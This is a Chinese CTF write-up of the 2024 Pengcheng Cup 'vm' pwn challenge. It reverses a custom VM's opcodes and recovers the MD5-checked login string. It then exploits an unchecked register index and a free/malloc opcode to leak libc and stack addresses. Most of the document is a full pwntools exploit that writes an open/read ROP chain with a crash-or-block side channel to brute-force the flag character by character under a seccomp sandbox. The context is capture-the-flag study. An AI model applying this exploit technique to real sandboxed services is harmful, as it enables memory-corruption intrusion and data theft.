2024鹏程杯vm

  • 记录一下这个vm的复现过程

题目分析

题目是常见的vm类型,这个函数的功能就是初始化mem,a[0]~a[7]是寄存器,a[8]是栈,a[11]是栈大小,a[12]在后面发现是rsp,a[10]在后面发现是rip

题目在到vmrun之前会有个check函数

看到中间有一部分很难逆向,但是发现了magic_number,看出这是md5

同时这个不是硬爆md5,可以看到与magic比较是用strcmp,同时md5这里会有\x00截断,所以只用看截断之前的东西就可以了

最终的check这样通过

check=b'LOGIN:root\nadmin:h3r3_1s_y0u2_G1ft!&&An9q\nDONE&EXIT\n'

题目中还有个sandbox,只让使用open,read,brk,close这几个系统调用,所以得考虑侧信道来爆出flag

vmcode逆向内容如下

#reg[idx]/=value
def reg_mulvalue(idx,value):
    global pay
    pay+=b'\xb8'+b'\x01'+p8(idx)+p64(value)

# reg[idx1]/=reg2[idx2]test
def div(idx1, idx2):
    global pay
    pay += b'\xb8' + b'\x00' + p8(idx1) + p8(idx2)

# stack[rsp]=value
def pushvalue(value):
    global pay
    pay += b'\xb4' + b'\x01' + p64(value)

#stack[rsp]=reg[idx]
def pushreg(idx):
    global pay
    pay+=b'\xb4'+b'\x00'+p8(idx)

#ret
def popreg(rip):
    global pay
    pay+=b'\xb2'+p8(rip)

#reg[idx]|=value
def reg_orvalue(idx,value):
    global pay
    pay+=b'\xb0'+b'\x01'+p8(idx)+p64(value)

#reg[idx1]|=reg[idx2]
def reg_orreg(idx1,idx2):
    global pay
    pay+=b'\xb0'+b'\x00'+p8(idx1)+p8(idx2)

def reg_addvalue(idx,value):
    global pay
    pay+=b'\x61'+b'\x01'+p8(idx)+p64(value)

def reg_addreg(idx1,idx2):
    global pay
    pay+=b'\x61'+b'\x00'+p8(idx1)+p8(idx2)

def reg_subvalue(idx,value):
    global pay
    pay+=b'\x63'+b'\x01'+p8(idx)+p64(value)

def reg_subreg(idx1,idx2):
    global pay
    pay+=b'\x63'+b'\x00'+p8(idx1)+p8(idx2)

def reg_mulvalue(idx,value):
    global pay
    pay+=b'\x65'+b'\x01'+p8(idx)+p64(value)

def reg_mulreg(idx1,idx2):
    global pay
    pay+=b'\x65'+b'\x00'+p8(idx1)+p8(idx2)

def reg_xorvalue(idx,value):
    global pay
    pay+=b'\x67'+b'\x01'+p8(idx)+p64(value)

def reg_xorreg(idx1,idx2):
    global pay
    pay+=b'\x67'+b'\x00'+p8(idx1)+p8(idx2)

def bitwise_not(idx):  #但是没有增加rip???
    global pay
    pay+=b'\x69'+p8(idx)

#free and malloc
def malloc(size):
    global pay
    pay+=b'\x14'+p32(size)

#0x13不知道在干嘛

#reg[idx]&=value
def reg_andvalue(idx,value):
    global pay
    pay+=b'\x11'+b'\x01'+p8(idx)+p64(value)
    
def reg_andreg(idx1,idx2):
    global pay
    pay+=b'\x11'+b'\x00'+p8(idx1)+p8(idx2)

#reg[idx]=value
def putvalue2reg(idx,value):
    global pay
    pay+=b'\x12'+b'\x01'+p8(idx)+p64(value)

#reg[idx]=*ptr
def putvalue2reg_plus(idx,ptr):
    global pay
    pay+=b'\x12'+b'\x02'+p8(idx)+p64(ptr)

#reg[idx1]=reg[idx2]  idx2没有检查
def swapreg0(idx1,idx2):
    global pay
    pay+=b'\x12'+b'\x04'+p8(idx1)+p8(idx2)

#reg[idx1]=*reg[idx2]
def swapreg1(idx1,idx2):
    global pay
    pay+=b'\x12'+b'\x08'+p8(idx1)+p8(idx2)

#*reg[idx1]=reg[idx2]
def swapreg2(idx1,idx2):
    global pay
    pay+=b'\x12'+b'\x10'+p8(idx1)+p8(idx2)

可以看到这个vm给的opcode非常全,而且可以发现最后几个指令,有任意地址的读取,和任意地址的写,同时还有个free然后malloc指令

同时发现有个swapreg0指令也即是reg[idx1]=reg[idx2],这里的idx2没有check寄存器的边界,这就造成了越界

exp编写

根据上述的漏洞分析,那么思路就明确了。

既然有free和malloc,而且一开始的栈对应的堆块是0x510大小,free后直接进入unsorted bin,那么再malloc直接可以申请出被写入了libc的地址,同时利用swapreg0的越界,就可以leak出libc

#得到libcbase
malloc(0x400)
swapreg0(0,14)
reg_subvalue(0,0x1ed010) #reg[0]=libcbase
swapreg0(7,0)  #reg[7]=libcbase

因为有沙盒,所以肯定要进行ROP,那么可以利用environ变量泄露出栈地址,然后得到返回地址,最后利用任意地址写来写入ROP

#泄露栈地址,reg[1]=retaddr
reg_addvalue(0,0x1ef600) #reg[0]=&environ
swapreg1(1,0) #reg[1]=stack
reg_subvalue(1,0x000190) #retaddr

侧信道

有了返回地址后,而且可以任意地址写,就要考虑如何写ROP来进行侧信道了

如果是shellcode的侧信道,那还是比较容易的,网上也有很多模板,但是对于ROP的侧信道,需要有一定的技巧

主要是利用了一些magic_gadget,这里的mg1就是一个cmp比较,这种比较后面必须跟着分支指令,比如je,jne这样才能判断比较是否相等,这里不相等会jne 0x1925c5。这里的指令是sbb eax, eax ; sbb eax, 0FFFFFFFFh,也就是rax会变成一个负的0FFFFFFFFh,后面肯定要接一个read函数来进行阻塞

但是会发现这样的话不管cmp比较是否相等,都会执行read,无法区分,所以有了mg2。mg2指令是mov qword ptr [rax], -1; xor eax, eax; ret;同时还有个gadget是add rax, rdi; ret;如果我们先让rdi为libc的bss段。

如果cmp结果相等,那么rax可能就是一个0x31这种很小的数,mov qword ptr [rax], -1;不会报错。但是如果cmp不相等,那么rax最终是libc_bss-0xFFFFFFFF,这显然是一个非法地址,然后mov qword ptr [rax], -1会直接让程序崩溃,这就满足了我们想要侧信道的要求。

def write_rop(ch,idx):
    libc.address=0
    mg1 = libc.address+0x000000000019244e#: cmp al, byte ptr [rsi - 1]; jne 0x1925c5; xor eax, eax; ret; 
    mg2 =  0x00000000001142bb#: mov qword ptr [rax], -1; xor eax, eax; ret;
    add_rax_rdi = 0x00000000000a8978#: add rax, rdi; ret; 
    mov_rdxaddr_rax = libc.address + 0x0000000000034550#: mov qword ptr [rdx], rax; ret; 
    pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret; 
    pop_rax = libc.address + 0x0000000000036174#: pop rax; ret; 
    pop_rdi = libc.address + 0x0000000000023b6a#: pop rdi; ret; 
    pop_rsi = libc.address + 0x000000000002601f#: pop rsi; ret; 
    pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret; 
    bss=libc.address+0x1ED7A0+0x800
    
    #open
    write_func(pop_rdx)
    write_func(bss)
    write_func(pop_rax)
    write_other(0x67616c662f2e)
    write_func(mov_rdxaddr_rax)
    write_func(pop_rdi)
    write_func(bss)
    write_func(pop_rsi)
    write_other(0)
    write_func(pop_rdx)
    write_other(0)
    write_func(pop_rax)
    write_other(2)
    write_func(0x47656) #syscall ; pop rbp ; ret
    write_other(0)
    
    #read
    write_func(pop_rdi)
    write_other(3)
    write_func(pop_rsi)
    write_func(bss)
    write_func(pop_rdx)
    write_other(0x100)
    write_func(libc.sym['read'])
    
    #cmp
    write_func(pop_rax)
    write_other(ch)
    write_func(pop_rsi)
    write_func(bss+ 1 +idx)
    write_func(mg1)
    
    write_func(pop_rdi)
    write_func(bss)
    #如果cmp指令不等于,则会jne 0x1925c5  ->   sbb  eax, eax ; sbb eax, 0FFFFFFFFh
    #add rax,rdi后rax的值可能为一个非法地址,那么mg2  mov qword ptr [rax], -1就会让程序崩掉,因为[rax]非法访问内存
    write_func(add_rax_rdi)
    write_func(mg2)
    
    #否则就进入read,read是可以进行阻塞的
    write_func(pop_rdi)
    write_other(0)
    write_func(pop_rsi)
    write_func(bss)
    write_func(pop_rdx)
    write_other(0x100)
    write_func(libc.symbols["read"])
  • 最终exp如下
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
import ast
import struct
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x1A8F7)')
# p=remote('192.168.18.26',8883)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 
# def dbg():
#     gdb.attach(p,'b *$rebase(0x33EC)')
#     pause()


check=b'LOGIN:root\nadmin:h3r3_1s_y0u2_G1ft!&&An9q\nDONE&EXIT\n'
pay=b''
#reg[idx]/=value
def reg_mulvalue(idx,value):
    global pay
    pay+=b'\xb8'+b'\x01'+p8(idx)+p64(value)

# reg[idx1]/=reg2[idx2]test
def div(idx1, idx2):
    global pay
    pay += b'\xb8' + b'\x00' + p8(idx1) + p8(idx2)

# stack[rsp]=value
def pushvalue(value):
    global pay
    pay += b'\xb4' + b'\x01' + p64(value)

#stack[rsp]=reg[idx]
def pushreg(idx):
    global pay
    pay+=b'\xb4'+b'\x00'+p8(idx)

#ret
def popreg(rip):
    global pay
    pay+=b'\xb2'+p8(rip)

#reg[idx]|=value
def reg_orvalue(idx,value):
    global pay
    pay+=b'\xb0'+b'\x01'+p8(idx)+p64(value)

#reg[idx1]|=reg[idx2]
def reg_orreg(idx1,idx2):
    global pay
    pay+=b'\xb0'+b'\x00'+p8(idx1)+p8(idx2)

def reg_addvalue(idx,value):
    global pay
    pay+=b'\x61'+b'\x01'+p8(idx)+p64(value)

def reg_addreg(idx1,idx2):
    global pay
    pay+=b'\x61'+b'\x00'+p8(idx1)+p8(idx2)

def reg_subvalue(idx,value):
    global pay
    pay+=b'\x63'+b'\x01'+p8(idx)+p64(value)

def reg_subreg(idx1,idx2):
    global pay
    pay+=b'\x63'+b'\x00'+p8(idx1)+p8(idx2)

def reg_mulvalue(idx,value):
    global pay
    pay+=b'\x65'+b'\x01'+p8(idx)+p64(value)

def reg_mulreg(idx1,idx2):
    global pay
    pay+=b'\x65'+b'\x00'+p8(idx1)+p8(idx2)

def reg_xorvalue(idx,value):
    global pay
    pay+=b'\x67'+b'\x01'+p8(idx)+p64(value)

def reg_xorreg(idx1,idx2):
    global pay
    pay+=b'\x67'+b'\x00'+p8(idx1)+p8(idx2)

def bitwise_not(idx):  #但是没有增加rip???
    global pay
    pay+=b'\x69'+p8(idx)

#free and malloc
def malloc(size):
    global pay
    pay+=b'\x14'+p32(size)

#0x13不知道在干嘛

#reg[idx]&=value
def reg_andvalue(idx,value):
    global pay
    pay+=b'\x11'+b'\x01'+p8(idx)+p64(value)
    
def reg_andreg(idx1,idx2):
    global pay
    pay+=b'\x11'+b'\x00'+p8(idx1)+p8(idx2)

#reg[idx]=value
def putvalue2reg(idx,value):
    global pay
    pay+=b'\x12'+b'\x01'+p8(idx)+p64(value)

#reg[idx]=*ptr
def putvalue2reg_plus(idx,ptr):
    global pay
    pay+=b'\x12'+b'\x02'+p8(idx)+p64(ptr)

#reg[idx1]=reg[idx2]  idx2没有检查
def swapreg0(idx1,idx2):
    global pay
    pay+=b'\x12'+b'\x04'+p8(idx1)+p8(idx2)

#reg[idx1]=*reg[idx2]
def swapreg1(idx1,idx2):
    global pay
    pay+=b'\x12'+b'\x08'+p8(idx1)+p8(idx2)

#*reg[idx1]=reg[idx2]
def swapreg2(idx1,idx2):
    global pay
    pay+=b'\x12'+b'\x10'+p8(idx1)+p8(idx2)


def write_func(offset):
    reg_addvalue(7,offset) 
    swapreg2(1,7)
    reg_subvalue(7,offset)
    reg_addvalue(1,8)

def write_other(value):
    putvalue2reg(6,value)
    swapreg2(1,6)
    reg_addvalue(1,8)

def write_rop(ch,idx):
    libc.address=0
    mg1 = libc.address+0x000000000019244e#: cmp al, byte ptr [rsi - 1]; jne 0x1925c5; xor eax, eax; ret; 
    mg2 =  0x00000000001142bb#: mov qword ptr [rax], -1; xor eax, eax; ret;
    add_rax_rdi = 0x00000000000a8978#: add rax, rdi; ret; 
    mov_rdxaddr_rax = libc.address + 0x0000000000034550#: mov qword ptr [rdx], rax; ret; 
    pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret; 
    pop_rax = libc.address + 0x0000000000036174#: pop rax; ret; 
    pop_rdi = libc.address + 0x0000000000023b6a#: pop rdi; ret; 
    pop_rsi = libc.address + 0x000000000002601f#: pop rsi; ret; 
    pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret; 
    bss=libc.address+0x1ED7A0+0x800
    
    #open
    write_func(pop_rdx)
    write_func(bss)
    write_func(pop_rax)
    write_other(0x67616c662f2e)
    write_func(mov_rdxaddr_rax)
    write_func(pop_rdi)
    write_func(bss)
    write_func(pop_rsi)
    write_other(0)
    write_func(pop_rdx)
    write_other(0)
    write_func(pop_rax)
    write_other(2)
    write_func(0x47656) #syscall ; pop rbp ; ret
    write_other(0)
    
    #read
    write_func(pop_rdi)
    write_other(3)
    write_func(pop_rsi)
    write_func(bss)
    write_func(pop_rdx)
    write_other(0x100)
    write_func(libc.sym['read'])
    
    #cmp
    write_func(pop_rax)
    write_other(ch)
    write_func(pop_rsi)
    write_func(bss+ 1 +idx)
    write_func(mg1)
    
    write_func(pop_rdi)
    write_func(bss)
    #如果cmp指令不等于,则会jne 0x1925c5  ->   sbb  eax, eax ; sbb eax, 0FFFFFFFFh
    #add rax,rdi后rax的值可能为一个非法地址,那么mg2  mov qword ptr [rax], -1就会让程序崩掉,因为[rax]非法访问内存
    write_func(add_rax_rdi)
    write_func(mg2)
    
    #否则就进入read,read是可以进行阻塞的
    write_func(pop_rdi)
    write_other(0)
    write_func(pop_rsi)
    write_func(bss)
    write_func(pop_rdx)
    write_other(0x100)
    write_func(libc.symbols["read"])
    
def pwn(ch,idx):
    p = process("/home/zp9080/PWN/pwn")
    global pay
    pay=b''
    #得到libcbase
    malloc(0x400)
    swapreg0(0,14)
    reg_subvalue(0,0x1ed010) #reg[0]=libcbase
    swapreg0(7,0)  #reg[7]=libcbase

    #泄露栈地址,reg[1]=retaddr
    reg_addvalue(0,0x1ef600) #reg[0]=&environ
    swapreg1(1,0) #reg[1]=stack
    reg_subvalue(1,0x000190) #retaddr
    
    write_rop(ch,idx)
    
    p.sendlineafter(':',check)
    try:
            p.sendafter("Man!what can I say?hahaha:", pay.ljust(0x600, b"\x00"))
            a = p.recvuntil("abcd",timeout = 0.7)
            print(a)
            if a == b'':
                p.sendline('123')
                # p.recvline()
                p.close()
                return True
            return False
    except EOFError:
            return False

charlist = [
    '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
    '{','}'
]

def brute(idx):
    global pay
    for i in charlist:
        if pwn(ord(i), idx):
            return i

flag = ''
for i in range(0,66):
    pay=b''
    ch = brute(i)
    if ch == b'\x00'or ch == None:
        break
    flag += ch
    print(flag)
    pause()
   

print(flag)
  • 在本地成功进行了侧信道得到flag